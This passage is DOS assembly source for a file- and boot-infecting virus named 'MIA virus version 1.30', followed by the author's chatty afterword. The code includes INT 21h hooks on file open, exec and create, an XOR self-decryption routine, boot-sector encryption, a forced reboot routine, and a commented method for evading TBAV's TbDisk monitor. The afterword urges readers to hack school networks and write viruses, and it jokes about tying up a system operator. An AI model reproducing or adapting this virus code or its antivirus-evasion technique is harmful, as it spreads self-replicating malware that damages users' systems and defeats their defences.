21h push ax si bp dx ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; Here MIA goes, disables DOS extended BREAK check, MIA doesn't disable IRQ 1 ; guess why? I just experienced a keyboard halt when Ctrl-BREAK is pressed at ; the time after IRQ 1 is disabled (when I was tracing instructions with the ; 'T' command within DEBUG.EXE environment). I just didn't know, still don't ; know answer to this case, hmmm, could You find the answer, My friend? ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ pushf ; Remember, at this point IF=0 push cs mov ax,3300h ; Get extended BREAK state into DL call VirEnd ; Continue INT 21h execution, don't call INT 21h pushf ; directly, 'cause the previous handler will push cs ; be executed twice! mov cs:[Breakstate],dl ; Store extended BREAK state inc ax cwd ; Convert word into doubleword call VirEnd ; Set extended BREAK = OFF (prevents the user pop dx ; from disabling MIA's INT 21h redirector) cld ; Forgetting to clear DF will mess things up!!! mov si,offset FuncTab ; "Table of contents" mov bp,sp mov al,ss:[bp + 07h] ; Get hi-byte of flags on entry to viral handler or al,01h ; Set TF mov cs:[Flags],al ; Store it Selector: db 2Eh ; CS: prefix lodsb cmp ss:[bp + 05h],al ; Compare with requested function db 2Eh ; CS: prefix lodsw je Findfunc cmp si,offset Flop ; No function matched? jb Selector ; Not yet, loop pop bp si ax jmp short Tunnel SubTtl Fide et sedulites Findfunc: mov si,ss:[bp + 0Ch] ; SS:[BP+0Ch] = INT 21h caller's flags mov ss:[bp + 06h],si ; SS:[BP+06h] = Viral flags mov cs:byte ptr [Rapidformat],0EBh xchg ss:[bp + 04h],ax ; Restore AX, replace with the offset address pop bp si call Scramble ; Decrypt some bytes jmp Frantic ; Set INT 03h vector and patch INT 24h Flip: push bx push cx push dx push si push di push bp push ds push es mov bp,sp ; Point BP to stack pointer xchg ss:[bp + 10h],ax ; Swap return IP with AX push ax ; And push it mov ax,ss:[bp + 10h] ; Restore AX ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ INT 21h functions handler table ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ FuncTab: db 00h ; Terminate program, similar to INT 20h dw offset Revenge db 0Eh ; Set default drive number to DL dw offset Dropper db 11h ; Find first matching file via FCB dw offset Impulsive db 12h ; Find next matching file via FCB dw offset Impulsive db 19h ; Get current default drive number into AL dw offset Internal db 25h ; Set interrupt (AL) vector dw offset Rehook db 3Ch ; Create a new file (truncate if it exists) dw offset Creative db 3Dh ; Open file, returns AX = handle dw offset Multitude db 3Eh ; Close file handle BX dw offset Freehand db 3Fh ; Read CX bytes of file to DS:DX via handle BX dw offset Fervour db 40h ; Write CX bytes data DS:DX to file via handle BX dw offset Fervour db 41h ; Delete (unlink) file at DS:DX dw offset Multitude db 42h ; Lseek file CX:DX via handle BX dw offset Pointseek db 43h ; Get/put file attributes dw offset Multitude db 44h ; DOS I/O control dw offset IO_Control db 48h ; Allocate memory block dw offset Removable db 49h ; Free memory block dw offset Freelance db 4Ah ; Resize memory block dw offset Freelance db 4Bh ; Load and/or exec program DS:DX, parm ES:[BX] dw offset Multitude db 4Ch ; Terminate current process with return code AL dw offset Revenge db 4Eh ; Find first matching file DS:DX with CX attrib. dw offset Underground db 4Fh ; Find next matching previous file dw offset Underground db 56h ; Rename file at DS:DX into name at ES:[DI] dw offset Multitude db 57h ; Get/set file time/date stamps dw offset Stamp db 5Bh ; Create a new file (stall if it exists) dw offset Creative db 60h ; Canonize filename/path at DS:[SI] dw offset Canonicalization db 67h ; Set file handle count dw offset Removable db 6Ch ; Extended open/create file with BL = open mode dw offset Creative Flop: pop ax ; Put return IP in AX mov bp,sp ; Point BP to stack pointer xchg ss:[bp + 10h],ax ; Restore AX and replace with return IP pop es pop ds pop bp pop di pop si pop dx pop cx pop bx ret Scramble: push si mov si,offset End_Cloak ExOr: xor cs:word ptr [si],1983h ; Don't set this value to zero! dec si dec si cmp si,offset Beg_Cloak ; Done encrypting/decrypting? jnb ExOr ; Loop... pop si ret Freeware: mov cs:byte ptr [Rapidformat],0A8h ret Restorage: ; Restore INT 15h vector mov al,15h lds dx,cs:dword ptr [Decryptor] Vectorize: mov cx,ds Revector: ; This is MIA's interrupt swapper mov ah,04h xor bx,bx ; But this will set and return the current mov ds,bx ; segment:offset = CX:DX mul ah xchg ax,bx xchg ds:[bx],dx ; Offset of interrupt number in AL xchg ds:[bx + 02h],cx ; Segment of interrupt number in AL ret Junkie: ; Encryptor/decryptor for boot push ax cx mov al,80h Polynomial equ byte ptr $ - 01h mov cx,offset Disk_IO - offset Start mov di,offset Start Phreak: xor cs:[bx + di],al ; Hack! sub al,cl ; Ah... just a little bit robust inc di loop Phreak pop cx ax ret SubTtl Hinc ducitur honos! Evoke: ; Encrypt body, write to disk, and decrypt call Junkie ; First, encrypting... pushf db 9Ah dd 0F000B3D4h ; Call disk I/O pushf ; Save flags state call Junkie ; Decrypt virus body popf ret Backbreak: push ax dx mov ax,3301h ; DOS func. AX=3301h, set extended BREAK state mov dl,01h ; DL=00 ÄÄÄ OFF, DL=01 ÄÄÄ ON Breakstate equ byte ptr $ - 01h int 21h pop dx ax ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Interrupt 18h handler ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Slick: db 0EAh ; MIA's INT 13h goes here ROM_BIOS dd 0F000B3D4h ; This is the BIOS disk interrupt handler Transpire: push dx bp mov dx,cs ; DX = virus segment mov bp,sp ; BP = stack pointer cmp ss:[bp + 06h],dx ; SS:[BP+06h] = interrupt caller's segment pop bp dx je Recognize push 0000h ; If differs, warm-reboot the machine pop ds mov ds:word ptr [0472h],1234h call Collide ; Disable FD (if a HD exists) db 0EAh dd 0F000FFF0h ; JMP F000:FFF0 Recognize: test dl,dl ; Positive or negative? js Slick Into_Disk: db 0EAh ; Floppy disks goes here (INT 40h) Flop_BIOS dd 0F000EC59h ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Interrupt 15h handler ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; MIA hooks INT 15h during infection attempt, uhhm... apparently meaningless? ; but the purpose is bypassing one of TBAV resident monitor, that is TbDisk!! ; hex! this program again! TbDisk's INT 15h handler tests a flag when INT 15h ; is called with AH=90h, (i.e. disk access permission flag) set alarm flag if ; INT 15h is called without a certain bit set, and the TbDisk INT 21h handler ; will check this alarm flag and if set, display message: "A disk is accessed ; via an unusual way ... blah blah blah ..." but why INT 15h? 'n not INT 13h? ; 'cause ROM BIOS disk handler, that is INT 13h ROM entry point, invokes INT ; 15h every busy time (i.e. waiting for response from disk, etc.) so every ; program that invokes INT 13h, will execute INT 15h too! to bypass this, I ; only knew two way: first, perform direct disk access via controller port - ; this is not efficient at all - the virus will be too complex and large, the ; second way is much easier, that is what MIA does, never return to original ; INT 15h!!! since BIOSes don't do anything but clear AH & CF, then return to ; interrupt caller (AH=90h), but if there's another way Ya know to avoid this ; nigga, I'd love to hear!! 8-) ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ Disk_IO: pushf cmp ah,90h ; AT/PS device busy call? jne Wasted ; Don't bother if not! popf xor ah,ah ; This clears AH and CF, and sets ZF sti ; Enable interrupts retf 0002h ; Return to interrupt caller, no popping flags Wasted: popf db 0EAh ; Far JMP opcode ; Blazin'!!! the handler ends here, very short! Decryptor: cli ; The codes below are useless, since they will mov ax,0CDDAh ; only executed in first virus generation mov sp,offset Returned - 01h push ax xor ax,1762h ; AX = DAB8 push ax mov si,offset VirEnd ; Blah... blah... blah... stupid codes that mov sp,si ; unexpectedly beat TBAV pretty hard, 8-) std db 36h ; SS: lodsw xchg sp,ax db 2Eh ; CS: lodsw mov sp,ax ; Set up the real stack sti db 2Eh ; CS: lodsw jmp ax db (Mutant - (($ - offset Decryptor) + 04h)) dup (90h) dw offset Vanguard dw 2710h VirEnd: db 0EAh ; Far JMP opcode Viral_Interrupt dd 00C90FB4h Interstice dw 0000h Fake_ROM db 00h Button db 00h Prebuff db 05h dup (00h) Replacement db 03h dup (00h) FileName db 87h dup (00h) Slack label word ; Trash! Org Slack + (offset Lseek_BOF - offset Fixup) + (offset Decryptor - offset Disk_IO) IO_Cassette dd 0F000F859h ; Original (may be TbDisk's) INT 15h handler is ; saved here. db 311h dup (00h) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Below is the host program ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Stub: ; Hmm, I put a worthwhile stuff here: display push cs ; calculated (decimal) virus length mov ax,VirLen ; Put virus length into AX mov bx,000Ah ; Set up divisor mov cl,30h mov di,offset Virsize ; Buffer to put result sub bp,bp pop ds Remainder: xchg ax,bp xor dx,dx div bx ; AX / BX xchg bp,ax div bx or dl,cl ; Convert to decimal - OR 30h mov ds:[di],dl ; Put the ASCII character dec di test ax,ax jnz Remainder ; Jump if ZF=0 - remainder after dividing mov ah,0Fh ; Get current video mode int 10h ; Return AL = video mode push ax mov al,03h cbw ; Convert AL to AX int 10h ; Set 80x25 screen and Clear it mov bh,02h ; Move cursor xchg bx,ax ; Video page = zero mov dx,0200h ; DH = row, DL = column int 10h mov ah,01h ; INT 10h AH=01h, set cursor text-mode shape mov cx,0100h ; CH = cursor start and option int 10h ; "Hide the cursor" push 0B800h ; Video mode 3 segment mov si,offset Message ; Now display message xor di,di mov cx,0050h ; Number of characters to display mov al,4Fh ; AL = Colours, upper 4-bit = background, pop es ; lower 4-bit = foreground cld Disp: movsb ; Character to display stosb ; Attribute for the characters loop Disp push es pop ds ; DS = ES = video mode 3 segment mov dx,03DAh ; Port 03DAh = EGA/VGA colours status register Rotate: sub si,si xor di,di Traceback: in al,dx test al,08h je Traceback ; Waiting for retrace mov cl,4Fh lodsw repe movsw ; Move attributes & characters stosw mov ah,01h int 16h ; Is there a key waiting in buffer? jz Rotate ; Nope, so loop sub ax,ax mov cl,50h mov di,ax repe stosw ; Erase characters mov ah,01h mov cx,0607h ; CL = bottom scan line int 10h ; Show cursor pop ax cmp al,03h ; Previous mode is 3 ? je Exit xor ah,ah mov bp,ax push cs mov ah,09h ; DOS service AH=09h, display string at DS:DX mov dx,offset Videofit ; to standard output. string ended with '$' pop ds int 21h Ask: sub ah,ah ; INT 16h (keyboard) service AH=00h, wait a int 16h ; keystroke from user. returns AH=BIOS scan mov dx,ax ; code, AL = ASCII character or al,20h ; Convert it to lowercase cmp al,6Eh ; 'n' - No ? jne Answer mov al,dl ; AL = 'N' or 'n' int 29h ; INT 29h = display single character in AL jmp short Exit Answer: cmp al,79h ; 'y' - Yes ? je Refresh mov al,07h ; Neither of 'em, so force user to press either int 29h ; Beep the speaker jmp short Ask ; and wait for a keystroke again Refresh: mov ax,bp int 10h ; Set video mode AL Exit: mov al,0Dh ; Linefeed character int 29h sub al,03h ; Carriage return int 29h mov ax,cs sub ax,0010h ; ES = current PSP segment push ax sub ax,ax push ax retf ; Jump to PSP:0000h (INT 20h) Message db ' This is MIA virus version 1.30į, size: 000' Virsize db '0 bytes ' Videofit db ' Do You want to restore Your previous video mode (Y/N)? $' EOF equ $ Baby EndS End Decryptor ; End of a hard work, 8-) ˙ Well, well, well, uhm... You've spent Your time reading the whole source... Hmmm, I assume You did not read it all, line per line, I am dreadfully sorry if You did, *bullshit* maybe tomorrow You'll have to see an ophthalmologist and buy glasses (like what I did 3 years ago). 8-) Anyway, for those who've questions, rebuttals, bug reports (either the virus bug itself or My *bad* English), or anything positive or negative concerning this virus please send an e-mail (just when You feel You're gonna bust) to: fulvian@usa.net and do not hope so much that I will reply to it in a short period of time, since I don't have My own internet connection (really, I'm just a son of a poor bitch, hex!) if You feel You do *not* have it too, just don't ever bother to force Your mom to afford to pay Your local ISP for it, just go to Your school, enter computer lab, kick Your SysOp out, tie Him to tree, muzzle His mouth, then lay Yourself on His seat and launch a browser. easy, ain't it? a little bit rude, right? but that's life, a great exertion! (sorry again, that was joke, I don't intend to teach You how to be a rapist. Just learn Your lesson well, perhaps You [and I] will be no longer outta job someday). And for those whose parents are rich or who've (legal) occupations I just wanna tell You not to use Your dream machine to play games, visiting homepages of PSPs (Porn Stuff Providers), or not using it at all (bought it just for Your office decoration, *moan*). Use Your comp for some kewl things to work out, for instance, hacking Your school's network or writing Your own viruses, wow! ;-D, he he he... Oohhhhh... I gotta finish this writing, My HD is full, besides I don't wanna hurt Your eyes (why are You still reading??? go watch Star Wars or something essential). At last, I hope that My big-sized specs and small hands can help Me out to write a Windows virus next time, and further I'd love to reveal a real truth, guess what? uhm, it's hard to say, but I don't wanna make anyone confused or misunderstanding of something in this innermost heart, something that beat Me hardly and it is now going harder and harder... the girl of My dreams... She, She is NOT, repeat, NOT Irma but Mia, repeat, yes She IS Mia, surprised? Mia Herself even doesn't know it anyway, ;-), She just thinks the opposite thing: I love Irma and I hate Mia, whereas, in fact, it is just not right anyhow (I love Mia and I'm just one of Irma's friend), I just lied to Mia easily about that matter on the first day I met Her (read MIA.TXT). but one main thing is that I wanna thank Mia W. who, however, helped Me a lot in writing this VX, hey, I don't forget to apologize for all My boasts... 8-) Saying "I love You" is not the words I want to hear from You It's not that I want You not to say, but if You only knew... How easy it would be to show Me how You feel... More than words is all You have to do to make it real Then You wouldn't have to say that You love Me... 'cause I'd already known... What would You do... If My heart was torn in two? More than words to show how You feel that Your love for Me is real What would You say... If I took those words away? Then You couldn't make things new just by saying "I love You"... Now that I've tried to talk to You and make You understand All You have to do is close Your eyes and just reach out your hands And touch Me, hold Me close, don't ever let Me go... More than words is all I ever needed You to show Then You wouldn't have to say that You love Me... 'cause I'd already known... Lots of love, Fulvian ˙